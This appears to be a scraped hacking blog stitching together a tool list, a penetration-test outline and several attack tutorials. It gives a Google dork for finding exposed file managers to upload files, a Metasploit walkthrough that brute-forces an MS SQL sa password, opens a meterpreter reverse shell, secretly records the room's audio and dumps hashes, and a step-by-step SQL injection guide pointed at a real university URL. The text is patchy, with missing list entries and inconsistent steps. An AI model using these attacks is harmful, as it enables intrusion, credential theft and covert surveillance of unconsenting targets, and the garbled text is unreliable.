Saturday, 10 January 2015

Here is the List of tools that ethical HACKER must have a range of systems. These tools are basically to reveal information which further results in a specific attacks on a given system. To locate weaknesses or error in a target system to gain as muchas information as possible about that network.

2 – Wireshark:

This is very powerful tool for analysis and network troubleshooting. Wireshark is capable to view data from Live networking. It support media formats and hundreds of protocols. It is also used for development and education. Most Unix vendors and Linux supply their own Wireshark packages.

.

3 – Cain & Able:

This tool is proven it’s self revolutionary in cyber mafia. It is capable of cracking passwords, several password retrieval jobs, routing/analyzing protocols and sniffing networks. Unlikly most of the tools it is just windows-only and is a twist to forensic tools & modern penetration testing.

.

.

4 – MetaSploit:

MetaSploit is powerful network analysis and security tool. It is mostly used for penetration attacks because of it’s easily gathering information of victim and clean-interfacing technique.

.

5 – Ettercap:

It is used for Man in the middle attack (MITM), these attacks are on Local area networks. It sniffs live connections & also got content filtering techniques. It has many features of host analysis and networking while it supports both active and passive dissections of various protocols.

.

6 – Nessus:

7 – Havij:

Havij is most used testing tool for SQL injection and many other injections. It has features of database retrieval, site’s scanning, password cracking and admin look-up. Basic purpose of it is to find vulnerable websites and breeze to hack.

.

8 – Kismet:

Kismet is 802.11 layer2 sniffer, wireless network detector and intrusion detection system. It supports every wireless card and can work with any appropriate hardware on raw monitoring (rfmon) mode. Kismet supports plugin that can sniff media such as DECT. It can sniff 802.11a, 802.11n, 802.11b, sniff802.11g and traffic.

.

9 – BackTrack Linux:

Backtrack is most popular and widely used tool bootable on CD of Linux Distro. It has got a large variety of penetration testing tools, VOIP networks, network attacks and many more testing/attacking of websites and systems. This tool is most user friendly because of its helpful and useful layout.

.

.

10 – W3af:

W3af also known as web-focused Metasploit is an extremely flexible, popular, powerful & framework for finding vulnerabilities in exploiting web application. It’s vast features got dozens of exploitation and web assessment plugins.

.

11 – Encase:

EnCase is computer forensics software mostly used by law enforcement agencies. Because of it’s vast usage and popularity it is forensics in a a de-facto standard. This tool is being made to gather data from a computer in a forensically sound manner.

.

12 – Helix:

13 – Acunetix:

Acunetix is Strong tool in website security purpose. It has variety of features for testing a website for various injections. Acunetix WVS basically checks the vulnerabilities of website, either XSS, SQL or other Injection are possible or not.

.

14 – Burp Suite:

This tool is designed for performing testing regarding security of web applications. It is an integrated platform and got various tools working togather to make a complete testing process. This tools is also used for exploiting security vulnerabilities & analysis of application attack surface from initial mapping.

.

.

The Penetration Test Process

Discovery: The process Penetration tests is a Discovery in variety of techniques e.g scan utilities, databases, Google data & much more to get as much information about the target as possible. These discoveries are basically to reveal sensitive information which further results in a specific attacks on a given system.

Enumeration: After discovery of systems and specific networks the next step is to gain as much as information as possible about that network. The diffrence b/w Discovery & Enumeration depends upon state of intrusion. Enumeration task is to get reletive information about username while software and hardware version information are also obtained form it.

Vulnerability Identification: This is most important step in penetration testing. In vulnerability identification you have to locate the week spot of target system. To locate weaknesses or error in a target system is must needed because after that you will get to know where to launch an attack.

Exploitation and Launching of Attacks: After vulnerability has been located and you have identified the target’s weekspot now it is possible to launch the exploits. The main purpose of launching exploits is to get full access on victims’s system.

Denial of Service: This term is known as dDos (Denial of Service). This is used to check the stability of the systems either it is crashed or not. It is good habit to check the strenght or stability of a system, before the real environment attack is being made.

Reporting: This is just for educational purpose. Now after you have completed penetration test it is recomended to get user customized for technical overview, This includes detailed recommendations, executive summary, identified vulnerabilities & other security ID numbers. These reports may be in various forms i.e pdf, html, xml etc. while every report must be modified by user’s choice.

Goto google.com and type dork inurl:/file_manager.php?type=img & inurl:/file_manager.php?type=file to FinD vulnrable websites, to get more sites you can modify this dork, Exploit Patch : http://www.site.com/directory/tinymce/file_manager.php?type=file so Goto http://www.site.com/directory/tinymce/file_manager.php?type=file and upload your file there, if php & html uploading is denided, you can try Tamper Data and Live Http Headers

In this tutorial, we'll look at how we can crack the password on the system admin (sa) account on the database, install a meterpreter payload through calling the stored procedure xp_cmdshell, and wreak havoc on their system.

Step 1: Start Metasploit

First, we need to start Metasploit.
Once we have the metasploit command prompt, we need to define which module we want to use. In past Metasploit tutorials, we've always used exploits, but this one is a bit different. Instead, we will use a scanner among the auxiliary modules that enables us to brute force the sa password. Let's load up mssql_login:

use scanner/mssql/mssql_login

As
you can see, Metasploit responds by telling us we have successfully
loaded this auxiliary

module. Now let's take a look at the options with
this module.

show options

Step 2: Set Your Options

In order to run this MS SQL login module, we will need:

A password file,

Set the RHOSTS, and

Determine the number of THREADS we want to run.

BackTrack has a wordlist specially built for MS SQL password hacking with over 57,000 commonly used SQL passwords at /pentest/exploits/fasttrack/bin/wordlist.txt. In this case, our target is at 192.168.1.103, and we will set our THREADS to 20.

Step 3: Brute Force the Database Passwords

Now, we simply need to type exploit and it runs through password list until it finds the password for the sa account.

exploit

As
you can see, after testing over 57,000 passwords (it takes a few
minutes, so be patient), it found the password on our sa account of
"NullByte". Success! Now we have full sysadmin privileges on the database that we can hopefully convert to full system sysadmin privileges.

Step 4: Grab the xp__cmdshell

Now that we have
full sysadmin (sa) on the MS SQL database, we are going to leverage that to full system sysadmin privileges. MS SQL Server has a stored
procedure named xp_cmdshell that enables the sa account
to gain a system command shell with full system admin rights. If we can
invoke that command shell, we may be able to load the payload of our
choice on the system and own that system.
Metasploit has a exploit module named windows/mssql/mssqlpayload that attempts to do this. Let's load it.

use windows/mssql/mssql_payload

Now, let's check the options for this exploit:

show options

In this case, we will try to load the meterpreter on this system, so let's:

set PAYLOAD windows/meterpreter/reverse_tcp

In
addition, we need to set the LPORT, the LHOST, the RHOST and the
password we recovered from the sa account from above, in this case,
"NullByte".

Now, simply type exploit and if all is right with the world, we should get a meterpreter prompt.

Success! We have a meterpreter session!

Step 5: Wreak Havoc!

Now that we have the meterpreter on this system thanks to the xp_cmdshell stored procedure, we can begin to wreak havoc on this system. Take a look at my list of meterpreter scripts and let's try a few.
First,
let's turn on the microphone and listen in on the conversations of the
sysadmin and anyone else in the room. Think of it as installing a bug in
the room from the old James Bond 007 movies.

meterpreter > run sound_recorder -i 100 -l /etc

This will grab 100 segments of audio of 30 seconds, or about 50 minutes, and save it in the /etcdirectory. Of course, we can record as much audio as we want. We are only limited by hard drive space.

Step 6: Grab the Hash

Now, let's grab some
passwords so that we can log back back in whenever we please. Remember,
once we have the admin password, we can login any time with Metasploit's psexec exploit.

meterpreter > hashdump

As you can see, we were able to grab the password hashes from the system
.

Saturday, 21 September 2013

I hope you learned about the Sql injection and XSS from BTS. But you may curious to practice
the SQLi and XSS attacks. we know that doing the attack on third-party website is crime. So how
can we do the practice? Here is the solution for you friends. Why shouldn't set up your own web
application ? Yes, you can setup your own Pen Testing lab for practicing the XSS and SQLi
vulnerabilities.

When i surf in the internet, i come to know about the "Damn Vulnerable Web App (DVWA)".
It is one of web application that used for practicing your Ethical hacking/Pen Testing skills in legal
way.

To check vulnerability in any site simply put ' at the end of the url
like this www.du.ac.in/index.php?id=4‎'

If u Got any error just like this then the site vulnerable

You have an error in your SQL syntax; check the manual that corresponds to your MYSQl server version for the right syntax to use near '\'' at line 1

Step 3: Finding Number of columns:Our next step is to find the number of columns present in the target database.

For that replace the single quotes(') with "order by n" statement.Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".

For eg

http://www.victimsite.com/index.php?id=2 order by 1 http://www.victimsite.com/index.php?id=2 order by 2

If you get the error while trying the "x"th number,then no of column is "x-1".

I mean:http://www.victimsite.com/index.php?id=2 order by 1(noerror)http://www.victimsite.com/index.php?id=2 order by 2(noerror)http://www.victimsite.com/index.php?id=2 order by 3(noerror)http://www.victimsite.com/index.php?id=2 order by 4(noerror) so now x=8 , The number of column is x-1 i.e, 7.In case ,if the above method fails to work for you, then try to add the "--" at the end of the statement.For eg:http://www.victimsite.com/index.php?id=2 order by 1--Step 4: Find the Vulnerable columns: Let us find the vulnerable column by trying the query "union select columns_sequence".For eg:if the number of columns is 7 ,then the query is as follow:http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--If the above method is not working then try this:

If the above query displays the 'column is not found' erro, then try another column name from the list.

If we got luck, then it will display the data stored in the database depending on your column name. For instance, username and password column will display the login credentials stored in the database.

If you got luck ,you will find the admin page using above urls. or you can some
kind of admin finder tools.

Warning:
The above post is completely for educational purpose only. Never attempt to follow
the above steps against third-party websites. If you want to learn SQL injection attack
method , then you can learn in safe environment by setup your own lab

Disclaimer

ALL INFORMATION / TUTORIALS WRITTEN ON HACKERSAUTHORITY.BLOGSPOT.COM ARE FOR EDUCATIONAL PURPOSES ONLY, THE SITE hackersauthority.blogspot.com IS NOT RESPONSIBLE IN ANY WAY FOR HOW THIS INFORMATION IS USED, YOU USE IT AT YOUR OWN RISK. YOU MAY LEARN ALSO HOW TO GET YOUR OWN ACCOUNT BACK FROM ALL THIS INFRORMATION.